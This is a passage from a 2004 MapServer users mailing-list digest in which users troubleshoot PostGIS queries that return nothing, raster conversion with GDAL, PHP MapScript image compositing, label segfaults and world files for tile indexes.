> Subject: [postgis-users] RE: gone are my query results
>
>
>
>
> If you do the query directly to postgres (via psql or pgAdmin or
> whatever) does the query return results ?
>
> If so, then my guess is that this is not a database error, at least
> not directly. If ot then yes, it would seem that somehow the postGIS
> itself has gottent snarfled.
>
> The change you made relating the geometryColumns doesn't sound to me
> like it should effect queries unless somehow the SRID info for the
> tables in your mapserver queries got clobbered; should be easy enough
> to confirm that this data is ok.
>
> I am not familiar enough with PHP and mapserver to have a clue; does
> the mapserver log itself show anything ?
>
> Not much help, I'm afraid, but perhaps posting this to the MMS list
> would add some more knowledge to the issue at hand ?
>
> Greg Williamson
> DBA
> GlobeXplorer LLC
>
> -----Original Message-----
> From: Charlton Purvis on behalf of Charlton Purvis
> Sent: Sat 5/1/2004 2:46 PM
> To: PostGIS Users Discussion
> Cc:
> Subject: gone are my query results
> Hi, folks:
>
> Bizarre and unnerving problem here.
>
> Up until last night, mapping was fine and point-query was fine. Now
> it appears that the mapping is still great, but the point query and
> WFS are toast. I don't get any errors in pgsql.log or php.log. I get
> . . . nothing. Even going mapserv cgi query returns empty for a query
> I know should work.
>
> Maybe I'm being taught a lesson. In a separate database, I noticed
> that addgeometrycolumn was taking too long -- I create about 400
> smaller tables per day. So I commented out fix_geometry_columns();
> from the addgeometrycolumn function and did it once I had finished
> creating all my new tables. So am I paying the price? Has this
> corrupted this database as well as my other?
>
> If all this is OID stuff, is there any way to refresh all OID's?
>
> Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
>
> Thanks,
>
> Charlton
>
>
>
> _______________________________________________
> postgis-users mailing list
> postgis-users@postgis.refractions.net
> http://postgis.refractions.net/mailman/listinfo/postgis-users
>
>
>
>
>
> _______________________________________________
> postgis-users mailing list
> postgis-users@postgis.refractions.net
> http://postgis.refractions.net/mailman/listinfo/postgis-users
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
Paul Ramsey
Refractions Research
Email: pramsey@refractions.net
Phone: (250) 885-0632
--__--__--
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
End of Mapserver-users Digest
From jnielsen@aero-graphics.com Mon May 3 17:26:49 2004
From: jnielsen@aero-graphics.com (Jason M. Nielsen)
Date: Mon, 3 May 2004 10:26:49 -0600
Subject: [Mapserver-users] arcgrid to ascii(etc)
In-Reply-To: <4096549C.7020309@pobox.com>
References: <1083357821.4092ba7da1ffa@www.agi-lan.com> <4093F7E4.6000400@pobox.com> <1083591572.40964b9440993@www.agi-lan.com> <4096549C.7020309@pobox.com>
Message-ID: <1083601609.409672c9e551f@www.agi-lan.com>
Quoting Frank Warmerdam :
> Jason,
>
> I hope the above isn't the complete error message. It should have reported
> something about AAIGrid does not support Create() method. For gdalwarp you
> will have to output to a format that supports random writing of raster data
> (aka has a Create() method - such as GeoTIFF). Then translate to Arc/Info
> ASCII Grid with gdal_translate.
Part of my cut and past didnt make it into the email.
Output driver `AAIGrid' not recognised or does not support
direct output file creation. The following format drivers are configured
and support direct output:
VRT: Virtual Raster
GTiff: GeoTIFF
NITF: National Imagery Transmission Format
HFA: Erdas Imagine Images (.img)
ELAS: ELAS
MEM: In Memory Raster
BMP: MS Windows Device Independent Bitmap
PNM: Portable Pixmap Format (netpbm)
ENVI: ENVI .hdr Labelled
PAux: PCI .aux Labelled
MFF: Atlantis MFF Raster
MFF2: Atlantis MFF2 (HKV) Raster
Anyhow, I was unaware of not being able to go directly through gdalwarp. I tried
the gdal_translate and it seems to have had no problem.
Thanks!
From dmorissette@dmsolutions.ca Mon May 3 17:36:17 2004
From: dmorissette@dmsolutions.ca (Daniel Morissette)
Date: Mon, 03 May 2004 12:36:17 -0400
Subject: [Mapserver-users] php mapscript - pasteimage
In-Reply-To: <200405031205.i43C5jFS017932@lists.gis.umn.edu>
References: <200405031205.i43C5jFS017932@lists.gis.umn.edu>
Message-ID: <40967501.9030005@dmsolutions.ca>
This is a multi-part message in MIME format.
--------------080500060909030205020503
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
publiek@home.nl wrote:
>
> I want to show several layers on top of each other.
> How do i combine the images?
>
Just calling $layer->draw($image) for each layer will do the trick. You
need to use $map->prepareImage() to create a balnk image first.
> I looked at pasteimage, but the examples provided with mapserver 4 dont work. (Would be nice if someone updated these)
>
> Anyone willing to provide me a simple example?
>
Thanks for pointing that. I have fixed the
mapscript/php3/examples/test_layer_mask.phtml forV4.x and updated the
copies in CVS for v4.2 and 4.3. I also attached a copy of the updated
script.
Daniel
--
------------------------------------------------------------
Daniel Morissette dmorissette@dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
--------------080500060909030205020503
Content-Type: text/html;
name="test_layer_mask.phtml"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="test_layer_mask.phtml"
PHP/MapScript layer mask test
SelectOutputFormat("PNG");
////////
// Draw the base layers into an imageObj
$img1 = $map->prepareimage();
$layer = $map->getLayerByName("bathymetry");
$layer->set("status", 1);
$layer->draw($img1);
//$img = $map->draw();
$url = $img1->saveWebImage();
echo "
Draw the base layers into an image...
\n";
printf("\n", $url, $map->width, $map->height);
//////////////
// Use the parks layer as a mask... we only want to see the base layers
// through the area of the park polygons and the rest should be light grey.
// Start by creating a new image ...
$img2 = $map->prepareimage();
// ... and we'll use a rectObj to draw the opaque mask background
$rect = ms_newRectObj();
$rect->setExtent(0, 0, $map->width, $map->height);
// We need to create a temporary layer and class to use in drawing the
// filled rectangle that will be the opaque part of the mask.
$tmplayer = ms_newLayerObj($map);
$tmplayer->set("type", MS_LAYER_POLYGON);
$tmplayer->set("status", 1);
$tmplayer->set("transform", MS_FALSE);
$tmpclass = ms_newClassObj($tmplayer);
$tmpstyle = ms_newStyleObj($tmpclass);
$tmpstyle->color->setRGB(222,222,222);
$rect->draw($map, $tmplayer, $img2, 0, ""); // Draw rect with class 0
// Now fetch the park layer and change its only class to use color index 0
// which is the transparent background color... so the parks polygons will
// create transparent holes in the mask
$layer = $map->getLayerByName("park");
$layer->set("status", 1);
$class = $layer->getClass(0);
$style = $class->getStyle(0);
$style->color->setRGB(12,12,12);
$style->outlinecolor->setRGB(12,12,12);
$layer->draw($img2);
$url = $img2->saveWebImage();
echo "
Draw the mask into another image...
\n";
printf("\n", $url, $map->width, $map->height);
////////
// Last step... combine the two images using pasteImage()
//
echo "
And combine the two with pasteImage()... you see the base layer through the holes in the mask...
\n";
$img1->pasteImage($img2, 0x0c0c0c);
$url = $img1->saveWebImage();
printf("\n", $url, $map->width, $map->height);
?>
--------------080500060909030205020503--
From eduardo@consultoria.eti.br Mon May 3 19:05:53 2004
From: eduardo@consultoria.eti.br (Eduardo Patto Kanegae)
Date: Mon, 3 May 2004 15:05:53 -0300
Subject: [Mapserver-users] Which is better: PHPMapScript query engine or PHP dBase functions?
Message-ID: <20040503180553.26505.qmail@hm47.locaweb.com.br>
I have a mapserver+php+mapscript that will query on a shapefile database on a single layer, through its atributes.
The system will give as result a set of items on a result list as a first step.
Then as a second step a map displaying these results should be given.
my doubt is: to create this result list which will be best strategy:
- use PHPMapScript to query against the mapfile ?
or
- simply use PHP dBase functions to query against dBase files of the mapfile?
which one is the best/fastest alternative?
best regards.
Eduardo Patto Kanegae
http://www.consultoria.eti.br
UIN: 303747254
I Encontro Nacional de Usuários MapServer - http://mapserver.cttmar.univali.br/encontro2004
Projeto MapServer Brasil - http://mapserver.cttmar.univali.br
***Fim da Mensagem / End of Message ***
From mapserver@meteologica.es Mon May 3 19:18:18 2004
From: mapserver@meteologica.es (Paco Regodon)
Date: Mon, 3 May 2004 20:18:18 +0200
Subject: [Mapserver-users] Seg fault with labels
In-Reply-To:
References:
Message-ID: <200405032018.18348.mapserver@meteologica.es>
I had a similar problem and solved it using "LABELCACHE OFF".
Hope it helps.
Paco
On Monday 03 May 2004 18:22, Matt Hatcher wrote:
> Hi all,
>
> I'm running Mapserver 4.0.2 on Mandrake Linux 9.2. It was built with the
> help of the redhat 9 guide in the wiki. Thanks to the guy who put that
> together!
>
> I'm having problems with labelling layers. Mapserver works beautifully
> providing I don't try to use labels. If I do (either using bitmap or
> truetype), I get Internal Server Error. Running the query at the command
> line using the QUERY_STRING debug, I get a seg fault.
>
> This suggests to me a problem with my freetype or gd libraries - I'm using:
> freetype-1.3.1-20mdk.rpm, libfreetype6-2.1.4-6mdk and gd-2.0.15
>
> My mapserv -v is:
> MapServer version 4.0.2 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF
> SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
> SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=JPEG INPUT=POSTGIS INPUT=OGR
> INPUT=GDAL INPUT=SHAPEFILE
>
> I've tried to run ./configure without freetype, but it still compiles the
> libraries in and I get the same result.
>
> Anybody got any bright ideas?!
>
> Thanks in advance
> Matt.
>
> -----Original Message-----
> From: mapserver-users-admin@lists.gis.umn.edu
> [mailto:mapserver-users-admin@lists.gis.umn.edu]On Behalf Of
> mapserver-users-request@lists.gis.umn.edu
> Sent: 02 May 2004 18:00
> To: mapserver-users@lists.gis.umn.edu
> Subject: Mapserver-users digest, Vol 1 #509 - 9 msgs
>
>
> Send Mapserver-users mailing list submissions to
> mapserver-users@lists.gis.umn.edu
>
> To subscribe or unsubscribe via the World Wide Web, visit
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> or, via email, send a message with subject or body 'help' to
> mapserver-users-request@lists.gis.umn.edu
>
> You can reach the person managing the list at
> mapserver-users-admin@lists.gis.umn.edu
>
> When replying, please edit your Subject line so it is more specific
> than "Re: Contents of Mapserver-users digest..."
>
>
> Today's Topics:
>
> 1. RE: world files and tile indexing (Ed McNierney)
> 2. Re: Shapelib, GPC, PHP, and polygon clipping (Frank Warmerdam)
> 3. Re: arcgrid to ascii(etc) (Frank Warmerdam)
> 4. Looking for reference links and online MapServer/MapScript Forum
> (Mike Juvrud)
> 5. Re: Looking for reference links and online MapServer/MapScript Forum
> (Eduardo Patto Kanegae)
> 6. RE: [postgis-users] RE: gone are my query results (Charlton Purvis)
> 7. RE: [postgis-users] RE: gone are my query results (Gregory S.
> Williamson)
> 8. RE: [postgis-users] RE: gone are my query results (Charlton Purvis)
> 9. Re: RE: [postgis-users] RE: gone are my query results (Paul Ramsey)
>
> --__--__--
>
> Message: 1
> Subject: RE: [Mapserver-users] world files and tile indexing
> Date: Sat, 1 May 2004 13:39:07 -0400
> From: "Ed McNierney"
> To: "Antonio Cosenza" ,
>
>
> This is a multi-part message in MIME format.
>
> ------_=_NextPart_001_01C42FA3.3437712E
> Content-Type: text/plain;
> charset="us-ascii"
> Content-Transfer-Encoding: quoted-printable
>
> Antonio -
> =20
> Thanks - that is very helpful!
> =20
> Things seem fine, but you need to create georeference data for the
> images in a way that can be used - the JPG files could have world files
> (.JGW files) or the TIF files could have world files (.TFW) but you need
> them. You need to create these world files. You should try to read the
> coordinates from the shapefile (use shpdump) and you need to calculate
> the values for the world files. With only three files you can
> relatively easily do this by hand.
> =20
> The shapefile polygons should give you the upper-left corner coordinate
> of each tile, and you should be able to calculate the size of each pixel
> in X and Y units from the shapefile polygons and information about how
> many pixels wide and high each image is (use tiffinfo).
> =20
> - Ed
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com / Maps a la carte, Inc.
> 73 Princeton Street, Suite 305
> North Chelmsford, MA 01863
> ed@topozone.com
> (978) 251-4242=20
>
>
> _____ =20
>
> From: Antonio Cosenza [mailto:antonio.cosenza@polito.it]=20
> Sent: Saturday, May 01, 2004 6:18 AM
> To: mapserver-users@lists.gis.umn.edu
> Subject: Re: [Mapserver-users] world files and tile indexing
>
>
>
>
> It would help if you could explain what you're trying to do! =20
>
> ok, i'll try tou explain you my situation!
>
>
> What
> format are the raster files in now,=20
>
> The raster files are in jpg format. They are a set of 3 tiles NOT
> GEOREFERENCED (of course, they are jpg!). But, i have a shapefile,
> called tile.shp (so, georeferenced) representing the footprints of the
> tiles. In tile.shp, I created a field (Path) including the absoulte path
> to tiff tiles on my disk (ex. /var/www/.....F4-C4.tif).Now, i converted
> the jpg files in tiff files, without the world files. I use this mapfile
> configuration:
>
> LAYER
> NAME "pannelli"
> STATUS ON
> TYPE RASTER
> TILEINDEX "./tile.shp"
> TILEITEM "Path"
> END
>
> I run maplab, but an error occurs: unable to open tiff files:
>
>
> Description=09
> Unable to open world file for reading. in
> /maplab/htdocs/common/wrapper/drawmap.php=09
> Failed to draw layer named 'pannelli'. in
> /maplab/htdocs/common/wrapper/drawmap.php=09
> Unable to open world file for reading. in
> /maplab/htdocs/common/wrapper/drawmap.php=09
> Failed to draw layer named 'pannelli'. in
> /maplab/htdocs/common/wrapper/drawmap.php=09
>
> So, i created some empty world files! This time, maplab runs without
> error, but it doesn't show me the tiles. It shows me only a blank page.
> Where is the problem?
>
>
>
>
> and what geographic reference data
> do you have for them (and in what format)?
> =09
> - Ed
> =09
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com / Maps a la carte, Inc.
> 73 Princeton Street, Suite 305
> North Chelmsford, MA 01863
> ed@topozone.com
> (978) 251-4242 =20
> =09
> -----Original Message-----
> From: Antonio Cosenza [mailto:antonio.cosenza@polito.it]=20
> Sent: Friday, April 30, 2004 5:43 AM
> To: Ed McNierney; mapserver-users@lists.gis.umn.edu
> Subject: Re: [Mapserver-users] world files and tile indexing
> =09
> so, i need to convert the raster tiles in tiff format, without
> world
> files? Right?
> =09
> thanks
> =09
> Ed McNierney wrote:
> =09
> =20
>
> Antonio -
> =09
> Yes, as long as the georeference information is there
> for the tile=20
> index to be created (and for the image to be rendered
> properly). =20
> GeoTIFFs can be used in a TILEINDEX layer without world
> files.
> =09
> - Ed
> =09
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com / Maps a la carte, Inc.
> 73 Princeton Street, Suite 305
> North Chelmsford, MA 01863
> ed@topozone.com
> (978) 251-4242
> =09
> -----Original Message-----
> From: Antonio Cosenza [mailto:antonio.cosenza@polito.it]
> Sent: Thursday, April 29, 2004 2:40 PM
> To: mapserver-users@lists.gis.umn.edu
> Subject: [Mapserver-users] world files and tile indexing
> =09
> Hi everyvody,
> is it possible to use tile indexing without world file?
> =09
> thanks
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> =09
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> =09
> =09
> =20
> =09
> =20
>
> =09
> =09
> =09
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> =09
> =20
>
>
>
> ------_=_NextPart_001_01C42FA3.3437712E
> Content-Type: text/html;
> charset="us-ascii"
> Content-Transfer-Encoding: quoted-printable
>
>
>
> charset=3Dus-ascii">
>
>
>
face=3DArial=20
> color=3D#0000ff size=3D2>Thanks - that is very =
> helpful!
>
face=3DArial=20
> color=3D#0000ff size=3D2>
>
face=3DArial=20
> color=3D#0000ff size=3D2>Things seem fine, but you need to create =
> georeference data=20
> for the images in a way that can be used - the JPG files could have =
> world files=20
> (.JGW files) or the TIF files could have world files (.TFW) but you need =
>
> them. You need to create these world files. You should try =
> to read=20
> the coordinates from the shapefile (use shpdump) and you need to =
> calculate the=20
> values for the world files. With only three files you can =
> relatively=20
> easily do this by hand.
>
face=3DArial=20
> color=3D#0000ff size=3D2>
>
face=3DArial=20
> color=3D#0000ff size=3D2>The shapefile polygons should give you the =
> upper-left=20
> corner coordinate of each tile, and you should be able to calculate the =
> size of=20
> each pixel in X and Y units from the shapefile polygons and information =
> about=20
> how many pixels wide and high each image is (use =
> tiffinfo).
>
face=3DArial=20
> color=3D#0000ff size=3D2>
>
class=3D456053617-01052004> face=3DArial color=3D#0000ff size=3D2>- Ed
>
>
Ed McNierney President and Chief =
> Mapmaker TopoZone.com /=20
> Maps a la carte, Inc. 73 Princeton Street, Suite 305 North =
> Chelmsford,=20
> MA 01863 ed@topozone.com (978) 251-4242 =
>
>
>
> From: Antonio Cosenza=20
> [mailto:antonio.cosenza@polito.it] Sent: Saturday, May 01, =
> 2004 6:18=20
> AM To: mapserver-users@lists.gis.umn.edu Subject: =
> Re:=20
> [Mapserver-users] world files and tile indexing
The raster files =
> are in=20
> jpg format. They are a set of 3 tiles NOT GEOREFERENCED (of =
> course, they=20
> are jpg!). But, i have a shapefile, called tile.shp (so, georeferenced)=20
> representing the footprints of the tiles. In tile.shp, I created a =
> field=20
> (Path) including the absoulte path to tiff tiles on my disk (ex.=20
> /var/www/.....F4-C4.tif).Now, i converted the jpg files in tiff =
> files,=20
> without the world files. I use this mapfile=20
> configuration:
LAYER NAME=20
> "pannelli" STATUS ON TYPE=20
> RASTER TILEINDEX =
> "./tile.shp" =20
> TILEITEM "Path" END
I run maplab, but an error occurs: =
> unable=20
> to open tiff files:
>
>
>
>
color=3D#000000=20
> size=3D2>Description
>
>
color=3D#ff3333=20
> size=3D2>Unable to open world file for reading. in=20
> /maplab/htdocs/common/wrapper/drawmap.php
>
>
color=3D#ff3333=20
> size=3D2>Failed to draw layer named 'pannelli'. in=20
> /maplab/htdocs/common/wrapper/drawmap.php
>
>
color=3D#ff3333=20
> size=3D2>Unable to open world file for reading. in=20
> /maplab/htdocs/common/wrapper/drawmap.php
>
>
color=3D#ff3333=20
> size=3D2>Failed to draw layer named 'pannelli'. in=20
> =
> /maplab/htdocs/common/wrapper/drawmap.php
> > So,=20
>
> i created some empty world files! This time, maplab runs without error, =
> but it=20
> doesn't show me the tiles. It shows me only a blank page. Where is =
> the=20
> problem?
>
> ------_=_NextPart_001_01C42FA3.3437712E--
>
> --__--__--
>
> Message: 2
> Date: Sat, 01 May 2004 15:03:03 -0400
> From: Frank Warmerdam
> To: "Ryan, Adam"
> Cc: mapserver-users@lists.gis.umn.edu
> Subject: Re: [Mapserver-users] Shapelib, GPC, PHP, and polygon clipping
>
> Ryan, Adam wrote:
> > Steve, Frank, etc...
> >
> > A while back Steve Lime wrote in response to a request for polygon
>
> clipping
>
> > code.
>
> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0201/msg00094.html
>
> > He suggested using the GPC library. I checked this out and was able to
>
> get
>
> > it to work.
> >
> > Is it worth trying to use GPC with either PHP mapscript or shapelib
>
> directly
>
> > and write a little routine to grab the shapes in question, convert them
>
> to
>
> > gpc ascii format, run the clip operation, and convert back to a shapefile
> > result? In PHP I could build the ASCII files, then call a gpc
> > executable, and then translate the ASCII result back into a new
> > shapefile.
> >
> > Am I exploring old technology? Is there a better way? Seems like a lot
>
> of
>
> > steps but all the really hard work has been done and it's just a matter
> > of reformatting data to work with the different tools.
>
> Adam,
>
> Invoking GPC externally via an ascii file interface may be too slow
> depending
> on your needs but it is certainly doable.
>
> From a more general point of view, it is my hope to interface the GEOS
> library (http://geos.refractions.net) with OGR at some point with a
> convenient
> mechanism to convert OGR geometries into a form usable in GEOS. So from my
> point of view a GEOS is the "future" of complex geometry operations in
> OGR (and indirectly shapelib). In fact, I would like to see a nice SWIG'ed
> interface to GEOS so that it can be easily used in most/all of the
> mapscript supported languages.
>
> GEOS is the library used by PostGIS for geometry operations, but it is
> independent of PostGIS. I think it does more than GPC. I was also slightly
> soured on GPC because of problematic licensing issues as I recall.
>
> So, if you have a particular need that is satisfied by passing geometries
> to GPC then by all means go ahead. However, I don't forsee it as being of
> strategic value. If you are interested in cooperating on swigged
> interfaces for GEOS and closer integration with OGR, Shapelib or MapServer
> geometries then perhaps we could get something going. I hadn't really been
> intending to get started on this yet though, so you might get stuck doing
> quite a bit of the heavy lifting.
>
> Best regards,
> --
> ---------------------------------------+-----------------------------------
>- --
> I set the clouds in motion - turn up | Frank Warmerdam,
> warmerdam@pobox.com
> light and sound - activate the windows | http://pobox.com/~warmerdam
> and watch the world go round - Rush | Geospatial Programmer for Rent
>
>
> --__--__--
>
> Message: 3
> Date: Sat, 01 May 2004 15:17:56 -0400
> From: Frank Warmerdam
> To: "Jason M. Nielsen"
> Cc: mapserver-users@lists.gis.umn.edu
> Subject: Re: [Mapserver-users] arcgrid to ascii(etc)
>
> Jason M. Nielsen wrote:
> > Anyone know of software that can convert arcgrid .adf files to ascii?
> > _______________________________________________
>
> Jason,
>
> GDAL read Arc/Info binary grid files in .adf format and can export a
> variety of formats including Arc/Info ASCII Grid format which is ... ASCII.
>
> eg.
>
> gdal_translate -of AAIGrid in_cov/w001001.adf out.grd
>
>
> Best regards,
>
> --
> ---------------------------------------+-----------------------------------
>- --
> I set the clouds in motion - turn up | Frank Warmerdam,
> warmerdam@pobox.com
> light and sound - activate the windows | http://pobox.com/~warmerdam
> and watch the world go round - Rush | Geospatial Programmer for Rent
>
>
> --__--__--
>
> Message: 4
> From: "Mike Juvrud"
> To:
> Date: Sat, 1 May 2004 18:23:21 -0500
> Subject: [Mapserver-users] Looking for reference links and online
> MapServer/MapScript Forum
>
> I'm a MapServer/PHP MapScript newbie, looking for online reference
> materials, resources, sample code, etc. (beginner to advanced)...I would
> appreciate links to anything you might recommend. (english or deutsch)
>
> (I have already downloaded and gone through the tutorials, references,
> samples available on the mapserver & mapscript site.)
>
> Also - Is there a Mapserver/Mapscript forum/bulletin board online?
>
> Will sum,
>
> Mike Juvrud
>
>
> --__--__--
>
> Message: 5
> From: "Eduardo Patto Kanegae"
> Date: Sat, 1 May 2004 23:58:10 -0300
> To: "Mike Juvrud"
> CC: mapserver-users@lists.gis.umn.edu
> Subject: Re: [Mapserver-users] Looking for reference links and online
> MapServer/MapScript Forum
>
> at the official website , section Documentation, u will find all u're
> looking for...
>
> for deutsch reference , take a look at www.mapmedia.de ... i think they
> have a book about mapserver.
>
> Eduardo Patto Kanegae
> http://www.consultoria.eti.br
> UIN: 303747254
>
> I Encontro Nacional de Usuários MapServer -
> http://mapserver.cttmar.univali.br/encontro2004
> Projeto MapServer Brasil - http://mapserver.cttmar.univali.br
>
> ***Fim da Mensagem / End of Message ***
>
>
>
>
>
> On Sat, 1 May 2004 18:23:21 -0500, "Mike Juvrud"
>
> escreveu:
> > De: "Mike Juvrud"
> > Data: Sat, 1 May 2004 18:23:21 -0500
> > Para:
> > Assunto: [Mapserver-users] Looking for reference links and online
>
> MapServer/MapScript Forum
>
> > I'm a MapServer/PHP MapScript newbie, looking for online reference
> > materials, resources, sample code, etc. (beginner to advanced)...I would
> > appreciate links to anything you might recommend. (english or deutsch)
> >
> > (I have already downloaded and gone through the tutorials, references,
> > samples available on the mapserver & mapscript site.)
> >
> > Also - Is there a Mapserver/Mapscript forum/bulletin board online?
> >
> > Will sum,
> >
> > Mike Juvrud
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users@lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> --__--__--
>
> Message: 6
> Date: Sat, 1 May 2004 22:59:22 -0400
> From: "Charlton Purvis"
> To: "PostGIS Users Discussion" ,
>
> Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query
> results
>
> Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to
> see if they have any pearls of wisdom.
>
> Everything looks great in the db. If I render a map, I see all the points
> correctly. If I take that query and plug it in to the command line, I see
> the rows. But the moment I try to do either a cgi query, WFS query, or a
> PHP query, I get nothing back. No error message.
>
> I'm actually getting panicky which isn't any fun. Has anyone seen anything
> like this before?
>
> Queries rely on OID's and SRID's. Is there any way they could have gotten
> mucked up? Can I somehow refresh them?
>
> Thanks,
>
> Charlton
>
> -----Original Message-----
> From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
> Sent: Sat 5/1/2004 6:20 PM
> To: PostGIS Users Discussion
> Cc:
> Subject: [postgis-users] RE: gone are my query results
>
>
>
>
> If you do the query directly to postgres (via psql or pgAdmin or whatever)
> does the query return results ?
>
> If so, then my guess is that this is not a database error, at least not
> directly. If ot then yes, it would seem that somehow the postGIS itself has
> gottent snarfled.
>
> The change you made relating the geometryColumns doesn't sound to me like
> it should effect queries unless somehow the SRID info for the tables in
> your mapserver queries got clobbered; should be easy enough to confirm that
> this data is ok.
>
> I am not familiar enough with PHP and mapserver to have a clue; does the
> mapserver log itself show anything ?
>
> Not much help, I'm afraid, but perhaps posting this to the MMS list would
> add some more knowledge to the issue at hand ?
>
> Greg Williamson
> DBA
> GlobeXplorer LLC
>
> -----Original Message-----
> From: Charlton Purvis on behalf of Charlton Purvis
> Sent: Sat 5/1/2004 2:46 PM
> To: PostGIS Users Discussion
> Cc:
> Subject: gone are my query results
> Hi, folks:
>
> Bizarre and unnerving problem here.
>
> Up until last night, mapping was fine and point-query was fine. Now it
> appears that the mapping is still great, but the point query and WFS are
> toast. I don't get any errors in pgsql.log or php.log. I get . . .
> nothing. Even going mapserv cgi query returns empty for a query I know
> should work.
>
> Maybe I'm being taught a lesson. In a separate database, I noticed that
> addgeometrycolumn was taking too long -- I create about 400 smaller tables
> per day. So I commented out fix_geometry_columns(); from the
> addgeometrycolumn function and did it once I had finished creating all my
> new tables. So am I paying the price? Has this corrupted this database as
> well as my other?
>
> If all this is OID stuff, is there any way to refresh all OID's?
>
> Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
>
> Thanks,
>
> Charlton
>
>
>
> _______________________________________________
> postgis-users mailing list
> postgis-users@postgis.refractions.net
> http://postgis.refractions.net/mailman/listinfo/postgis-users
>
>
>
>
> --__--__--
>
> Message: 7
> Date: Sat, 1 May 2004 20:11:41 -0700
> From: "Gregory S. Williamson"
> To: "PostGIS Users Discussion" ,
>
> Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query
> results
>
>
> If you turn on the logging of statements in postgres and run the mapserver
> side of things, does the query show up in the logs ?
>
> If the query does not appear then I'd suspect networking or permissions or
> some darn thing keeping postgres from ever seeing the query.
>
> It it does show up then maybe the problem is in the return trip to MS or in
> the processing of that data (perhaps your OID suspicions), since it sounds
> as if the query itself can be processed.
>
> Any changes to *anything* on either server and anything in between ? (not
> likely but always worth ruling out)
>
> Or, shot in the dark, something messing with TOLERANCE so no points are
> selected in a query ?
>
> Very puzzling, I agree.
>
> Greg W.
>
> -----Original Message-----
> From: Charlton Purvis on behalf of Charlton Purvis
> Sent: Sat 5/1/2004 7:59 PM
> To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
> Cc:
> Subject: RE: [postgis-users] RE: gone are my query results
> Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to
> see if they have any pearls of wisdom.
>
> Everything looks great in the db. If I render a map, I see all the points
> correctly. If I take that query and plug it in to the command line, I see
> the rows. But the moment I try to do either a cgi query, WFS query, or a
> PHP query, I get nothing back. No error message.
>
> I'm actually getting panicky which isn't any fun. Has anyone seen anything
> like this before?
>
> Queries rely on OID's and SRID's. Is there any way they could have gotten
> mucked up? Can I somehow refresh them?
>
> Thanks,
>
> Charlton
>
> -----Original Message-----
> From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
> Sent: Sat 5/1/2004 6:20 PM
> To: PostGIS Users Discussion
> Cc:
> Subject: [postgis-users] RE: gone are my query results
>
>
>
>
> If you do the query directly to postgres (via psql or pgAdmin or whatever)
> does the query return results ?
>
> If so, then my guess is that this is not a database error, at least not
> directly. If ot then yes, it would seem that somehow the postGIS itself has
> gottent snarfled.
>
> The change you made relating the geometryColumns doesn't sound to me like
> it should effect queries unless somehow the SRID info for the tables in
> your mapserver queries got clobbered; should be easy enough to confirm that
> this data is ok.
>
> I am not familiar enough with PHP and mapserver to have a clue; does the
> mapserver log itself show anything ?
>
> Not much help, I'm afraid, but perhaps posting this to the MMS list would
> add some more knowledge to the issue at hand ?
>
> Greg Williamson
> DBA
> GlobeXplorer LLC
>
> -----Original Message-----
> From: Charlton Purvis on behalf of Charlton Purvis
> Sent: Sat 5/1/2004 2:46 PM
> To: PostGIS Users Discussion
> Cc:
> Subject: gone are my query results
> Hi, folks:
>
> Bizarre and unnerving problem here.
>
> Up until last night, mapping was fine and point-query was fine. Now it
> appears that the mapping is still great, but the point query and WFS are
> toast. I don't get any errors in pgsql.log or php.log. I get . . .
> nothing. Even going mapserv cgi query returns empty for a query I know
> should work.
>
> Maybe I'm being taught a lesson. In a separate database, I noticed that
> addgeometrycolumn was taking too long -- I create about 400 smaller tables
> per day. So I commented out fix_geometry_columns(); from the
> addgeometrycolumn function and did it once I had finished creating all my
> new tables. So am I paying the price? Has this corrupted this database as
> well as my other?
>
> If all this is OID stuff, is there any way to refresh all OID's?
>
> Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
>
> Thanks,
>
> Charlton
>
>
>
> _______________________________________________
> postgis-users mailing list
> postgis-users@postgis.refractions.net
> http://postgis.refractions.net/mailman/listinfo/postgis-users
>
>
>
>
>
>
>
> --__--__--
>
> Message: 8
> Date: Sat, 1 May 2004 23:42:34 -0400
> From: "Charlton Purvis"
> To: "PostGIS Users Discussion" ,
>
> Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query
> results
>
> OK, Greg, I think we might be onto something. But it still looks very
> grim.
>
> I turned on all the logging, and I notice that MS sends it this query:
>
> LOCATION: pg_parse_query, postgres.c:464
> LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT
> temperature_celcius::text,asbinary(force_collection(force_2d(the_geom)),'ND
>R '),OID::text from sst_map WHERE (date_trunc('hour',report_time_stamp +
> interval '1 hour' * -04) = date_trunc('hour',timestamp without time zone
> '2004-05-01 22:00:00') and (label_z <= 5 or label_z is null)) and (the_geom
